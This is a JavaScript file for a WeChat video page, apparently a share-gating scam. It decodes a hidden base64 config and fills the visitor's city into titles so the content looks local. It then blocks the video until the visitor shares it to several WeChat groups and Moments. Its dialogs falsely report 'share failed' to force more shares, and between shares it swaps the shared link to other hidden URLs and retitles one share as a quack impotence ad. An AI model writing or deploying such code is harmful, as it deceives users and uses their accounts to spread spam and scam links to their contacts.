var _f=getJsParam('jcjk\.js','tr');
_f = JSON.parse(window.atob(_f));
$("#gaics").attr('src',_f.img_s).show();
var city = '';
_f = getaddress(_f);
wxalert('<img width="40" style="margin-top:-15px;margin-bottom:15px;" src="https://251img.oss-cn-shanghai.aliyuncs.com/sp2/static/img/0.gif"><br><b style="font-size: 21px;color:darkred">&#x62CD;&#x6444;&#x4E0D;&#x6613;</b><br>&#x8BF7;&#x5206;&#x4EAB;&#x5230;<b style="font- size: 22px;color: red">&#x5FAE;&#x4FE1;&#x7FA4;</b>&#x4EE5;&#x793A;&#x9F13;&#x52B1;&#xFF0C;&#x5E76;&#x53EF;&#x7EE7;&#x7EED;&#x89C2;&#x770B;');
$.getScript('/js/ws.js?t='+new Date().getTime(),function () {
    var MyweChats =  new MyweChat({
        'api':_f.api,
        'title':_f.s.title,
        'desc':_f.s.desc,
        'img':_f.s.img,
        'link':_f.a[0],
        'ishide':true
    });
    MyweChats.shaer_tips = function () {
        switch (MyweChats.share){
            case 0:
                window._Data.Info.type = 'video';
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x6210;&#x529F;&#xFF01;</b><br/>&#x8BF7;&#x7EE7;&#x7EED;&#x5206;&#x4EAB;&#x5230;<b style="color: red;">2</b>&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x7FA4;&#x5373;&#x53EF;<b style="color: red;font-size: 24px;">&#x514D;&#x6D41;&#x91CF;&#x52A0;&#x901F;&#x89C2;&#x770B;!</b>','&#x786E;&#x5B9A;');
                MyweChats.share++;//1
                break;
            case 1:

                window._Data.Info.link = _f.a[1];
                MyweChats.Reloadconfig();
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x6210;&#x529F;&#xFF01;</b><br/>&#x8BF7;&#x7EE7;&#x7EED;&#x5206;&#x4EAB;&#x5230;<b style="color: red;">1</b>&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x7FA4;','&#x786E;&#x5B9A;');
                MyweChats.share++;//2
                break;
            case 2:
                window._Data.Info.link = _f.a[2];
                MyweChats.Reloadconfig();
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x5931;&#x8D25;&#xFF01;</b><br/>&#x6CE8;&#x610F;:&#x5206;&#x4EAB;&#x5230;&#x76F8;&#x540C;&#x7684;&#x7FA4;&#x4F1A;&#x5931;&#x8D25;&#xFF01;&#x8BF7;&#x7EE7;&#x7EED;&#x5206;&#x4EAB;&#x5230;<b style="color: red;">1</b>&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x7FA4;','&#x786E;&#x5B9A;');
                MyweChats.share++;//3
                break;
            case 3:
                window._Data.Info.title = _f.s.ptitle;
                window._Data.Info.link = _f.a[3];
                window._Data.Info.type = 'video';
                MyweChats.appMessage();
                MyweChats.Reloadconfig();
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x5B8C;&#x6210;&#xFF01;<br/>&#x6700;&#x540E;&#x4E00;&#x6B65;</b><br/>&#x5206;&#x4EAB;&#x5230;<b style="color: red;">&#x670B;&#x53CB;&#x5708;</b>&#x5373;&#x53EF;<b style="color: red;font-size: 24px;">&#x514D;&#x6D41;&#x91CF;&#x64AD;&#x653E;&#x5B8C;&#x6574;&#x6B63;&#x7247;</b>','&#x786E;&#x5B9A;');
                MyweChats.share++;//4
                break;
            default:
                wxalert('<b style="font-size: 24px;color: red;">&#x8BF7;&#x5206;&#x4EAB;&#x5230;&#x670B;&#x53CB;&#x5708;</b>&#x5206;&#x4EAB;&#x5230;&#x7FA4;<b></b>','&#x786E;&#x5B9A;');
                break;
        }
    };
    MyweChats.shaer_p_tips = function () {
        switch (MyweChats.share){
            case 4:
                // window._Data.Info.link = _f.a[4];
                window._Data.Info.link = _f.a[5];
                window._Data.Info.title = '\u7537\u4eba\u80be\u865a \u9633\u75ff \u65e9\u6cc4 \u65f6\u95f4\u77ed \u6559\u4f60\u4e00\u62db\u8f7b\u677e\u641e\u5b9a...';
                window._Data.Info.img_url = _f.p;
                MyweChats.Reloadconfig();
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x5931;&#x8D25;&#xFF01;</b><br/>&#x5FC5;&#x987B;&#x516C;&#x5F00;&#x5206;&#x4EAB;&#xFF0C;&#x8BF7;&#x518D;&#x6B21;&#x5206;&#x4EAB;&#x5230;<b style="color: red;">&#x670B;&#x53CB;&#x5708;</b>&#x5373;&#x53EF;&#x7EE7;&#x7EED;&#x89C2;&#x770B;','&#x786E;&#x5B9A;');
                MyweChats.share++;//5
                break;
            case 5:
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x6210;&#x529F;&#xFF01;</b><br/>&#x70B9;&#x51FB;<b style="color: red;">&#x64AD;&#x653E;&#x6309;&#x94AE;</b>&#x7EE7;&#x7EED;&#x64AD;&#x653E;','&#x64AD;&#x653E;',function () {
                    // $.getJSON(_f.g,function (e) {
                    //     location.href = e.v;
                    // },'json');
                    location.href = document.referrer.split('#')[0] + '?dokey=' + new Date().getTime();
                });
                break;
        }
    };
    $('#tk').on('click',function () {
        switch (MyweChats.share){
            case 0:
                wxalert('<img width="40" style="margin-top:-15px;margin-bottom:15px;" src="https://251img.oss-cn-shanghai.aliyuncs.com/sp2/static/img/0.gif"><br><b style="font-size: 21px;color:darkred">&#x62CD;&#x6444;&#x4E0D;&#x6613;</b><br>&#x8BF7;&#x5206;&#x4EAB;&#x5230;<b style="font- size: 22px;color: red">&#x5FAE;&#x4FE1;&#x7FA4;</b>&#x4EE5;&#x793A;&#x9F13;&#x52B1;&#xFF0C;&#x5E76;&#x53EF;&#x7EE7;&#x7EED;&#x89C2;&#x770B;');
                break;
            case 1:
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x6210;&#x529F;&#xFF01;</b><br/>&#x8BF7;&#x7EE7;&#x7EED;&#x5206;&#x4EAB;&#x5230;<b style="color: red;">2</b>&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x7FA4;&#x5373;&#x53EF;<b style="color: red;font-size: 24px;">&#x514D;&#x6D41;&#x91CF;&#x52A0;&#x901F;&#x89C2;&#x770B;!</b>','&#x786E;&#x5B9A;');
                break;
            case 2:
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x6210;&#x529F;&#xFF01;</b><br/>&#x8BF7;&#x7EE7;&#x7EED;&#x5206;&#x4EAB;&#x5230;<b style="color: red;">1</b>&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x7FA4;','&#x786E;&#x5B9A;');
                break;
            case 3:
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x5931;&#x8D25;&#xFF01;</b><br/>&#x6CE8;&#x610F;:&#x5206;&#x4EAB;&#x5230;&#x76F8;&#x540C;&#x7684;&#x7FA4;&#x4F1A;&#x5931;&#x8D25;&#xFF01;&#x8BF7;&#x7EE7;&#x7EED;&#x5206;&#x4EAB;&#x5230;<b style="color: red;">1</b>&#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x7FA4;','&#x786E;&#x5B9A;');
                break;
            case 4:
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x5B8C;&#x6210;&#xFF01;<br/>&#x6700;&#x540E;&#x4E00;&#x6B65;</b><br/>&#x5206;&#x4EAB;&#x5230;<b style="color: red;">&#x670B;&#x53CB;&#x5708;</b>&#x5373;&#x53EF;<b style="color: red;font-size: 24px;">&#x514D;&#x6D41;&#x91CF;&#x64AD;&#x653E;&#x5B8C;&#x6574;&#x6B63;&#x7247;</b>','&#x786E;&#x5B9A;');
                break;
            case 5:
                wxalert('<b style="font-size: 24px;color: red;">&#x5206;&#x4EAB;&#x5931;&#x8D25;&#xFF01;</b><br/>&#x5FC5;&#x987B;&#x516C;&#x5F00;&#x5206;&#x4EAB;&#xFF0C;&#x8BF7;&#x518D;&#x6B21;&#x5206;&#x4EAB;&#x5230;<b style="color: red;">&#x670B;&#x53CB;&#x5708;</b>&#x5373;&#x53EF;&#x7EE7;&#x7EED;&#x89C2;&#x770B;','&#x786E;&#x5B9A;');
                break;
        }
    });
});

function getaddress(string) {
    var address = localAddress.city ? localAddress.city : (localAddress.province ? localAddress.province : '江西');
    city = address.replace(/(.*)市/,'$1');
    city = city.replace(/(.*)省/,'$1');
    string.s.title = string.s.title.replace(/{city}/,city);
    string.s.ptitle = string.s.ptitle.replace(/{city}/,city);
    string.s.desc = string.s.desc.replace(/{city}/,city);
    return string;
}
function wxalert(n,b,i) {
    var r, u;
    r = '<div class="weui_dialog_alert" style="position: fixed; z-index: 2000; display: none;margin-left:15%;margin-right:15%">';
    r += '<div class="weui_mask"></div>';
    r += '<div class="weui_dialog">';
    r += '<i class="weui_close"><svg t="1540783423798" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="s="http://www.w3.org/2000/svg" p-" p-id="1931" xmlns:xlink="k="http://www.w3.org/1999/xlink" wi" width="25" height="25"><path style="fill:#666;" d="M176.661601 817.172881C168.472798 825.644055 168.701706 839.149636 177.172881 847.338438 185.644056 855.527241 199.149636 855.298332 207.338438 846.827157L826.005105 206.827157C834.193907 198.355983 833.964998 184.850403 825.493824 176.661601 817.02265 168.472798 803.517069 168.701706 795.328267 177.172881L176.661601 817.172881ZM795.328267 846.827157C803.517069 855.298332 817.02265 855.527241 825.493824 847.338438 833.964998 839.149636 834.193907 825.644055 826.005105 817.172881L207.338438 177.172881C199.149636 168.701706 185.644056 168.472798 177.172881 176.661601 168.701706 184.850403 168.472798 198.355983 176.661601 206.827157L795.328267 846.827157Z" p-id="1932"></path></svg></i>';
    r += '<div class="weui_dialog_hd"><strong class="weui_dialog_title"></strong></div>';
    r += '<div class="weui_dialog_bd" style="color:#000;padding-top:20px;padding-bottom:10px;"></div>';
    r += '<div class="weui_dialog_ft">';
    r += '<a href="javascript:;" class="weui_btn_dialog primary">好</a>';
    r += "</div>";
    r += "</div>";
    r += "</div>";
    $(".weui_dialog_alert").length > 0 ? $(".weui_dialog_alert .weui_dialog_bd").empty() : $("body").append($(r));
    u = $(".weui_dialog_alert");
    u.show();
    u.find(".weui_dialog_bd").html(n);
    u.find(".weui_btn_dialog").html(b ? b : "好的");
    u.find(".weui_btn_dialog").off("click").on("click", function() { u.hide();
        i && i() });
    u.find(".weui_close").off("click").on("click", function() { u.hide(); });
}
function getJsParam(jsName, paramName) {
    /*******************************************
     说明：获取js文件后的参数
     jsName：js文件名称
     paramName：要获取的参数名称（如果该参数没有传，则返回整个js参数的数组Json对象）
     ********************************************/
    var retJsonArr = [],
        retVal = '';
    // var rName = new RegExp(jsName + "(\\?(.*))?$");
    var rName = new RegExp(jsName + "\\?(.*)");
    var jss = document.getElementsByTagName('script');
    for (var i = 0; i < jss.length; i++) {
        var j = jss[i];
        if (j.innerHTML && j.innerHTML.match(rName)) {
            var oo = j.innerHTML.match(rName)[1];
            if (oo && (t = oo.match(/([^&=]+)=([^=&]+)/g))) {
                for (var l = 0; l < t.length; l++) {
                    r = t[l];
                    var tt = r.match(/([^&=]+)=([^=&]+)/);
                    if (tt) {
                        retJsonArr.push({
                            key: tt[1],
                            val: tt[2]
                        });

                        if (paramName != undefined && paramName.length > 0 && paramName == tt[1]) {
                            retVal = tt[2];
                        }
                    }
                }
            }
        }
    }
    return paramName != undefined && paramName.length > 0 ? retVal : retJsonArr;
}